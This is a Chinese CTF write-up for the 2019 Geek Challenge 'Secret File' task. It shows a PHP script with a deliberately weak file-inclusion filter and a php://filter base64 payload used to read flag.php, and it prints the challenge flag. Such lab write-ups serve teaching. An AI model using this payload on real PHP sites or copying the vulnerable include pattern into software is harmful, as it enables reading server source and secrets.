[极客大挑战 2019]Secret File 1

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

[极客大挑战 2019]Secret File 1

原来是甘文川同学   2021-03-03 我要评论

题目的名字就暗示我们考点文件隐藏
进入页面查看源码

 

得到隐藏的界面点击访问

 

点击给的“SECRET”按钮页面出现提示“没看清么?回去再仔细看看吧。”,说明响应的时间太快了,还没反应过来,于是我们想到使用burp suit进行抓包

 

图片中给了“secr3t.php”提示,于是我们转到提示的界面,进行php代码审计

<?php
    highlight_file(__FILE__);   //file文件高亮
    error_reporting(0);         //关闭错误报告
    $file=$_GET['file'];        //定义file传送方式为GET 
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ //strstr:找到第一次字符串“../”,“tp”,“input“,”data“输出的位置,并输出之后的字符串。说明存在file文件的过滤
        echo "Oh no!";
        exit();
    }
    include($file);            //包括文件
//flag放在了flag.php里
?>

 

 

进入提示的”flag.php“界面(估计不会这么简单出现flag~QAQ)


页面源码没有任何php暗示,但是页面的提示已经说明flag在页面里。这个时候在已经经过代码审计的我们该想到”secr3t.php“的文件过滤(结合题目)与此有关。

我们利用php://fileter伪协议来构造playload经行获取文件

?file=php://filter/read=convert.base64-encode/resource=flag.php

 

php://fileter伪协议Base64加密用法如下

?file=php://filter/read=convert.base64-encode/resource=http://example.com

 

注意到页面下面出现一串Base64位的字符编码

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NTVhNGQzNjMtZjk4OC00ODRkLTliOWYtZjYyODQ0ZTg3ZTllfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo= 

 

进行Base64解码成功得到flag

flag

flag{55a4d363-f988-484d-9b9f-f62844e87e9e}

 

考点如下:

代码审计之文件过滤的常见函数

strstr函数:strstr() 函数搜索字符串在另一字符串中的第一次出现。

php://filter伪协议

没有哪篇有关filter伪协议的文章比p神写得更好了:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

 

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们